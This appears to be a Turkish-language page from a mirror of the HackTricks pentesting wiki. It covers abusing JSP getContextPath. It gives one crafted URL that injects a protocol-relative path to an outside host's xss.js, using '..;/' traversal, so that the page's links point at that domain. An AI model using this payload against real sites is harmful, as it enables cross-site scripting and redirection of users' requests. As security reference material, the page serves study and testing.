mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
16 lines
509 B
Markdown
16 lines
509 B
Markdown
# JSP
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **getContextPath** istismarı
|
||
|
||
Bilgi için [buraya](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html) bakın.
|
||
```
|
||
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
|
||
```
|
||
Bu web'e erişerek, bilgileri _**rakeshmane.com**_ adresine talep etmek için tüm bağlantıları değiştirebilirsiniz:
|
||
|
||
.png>)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|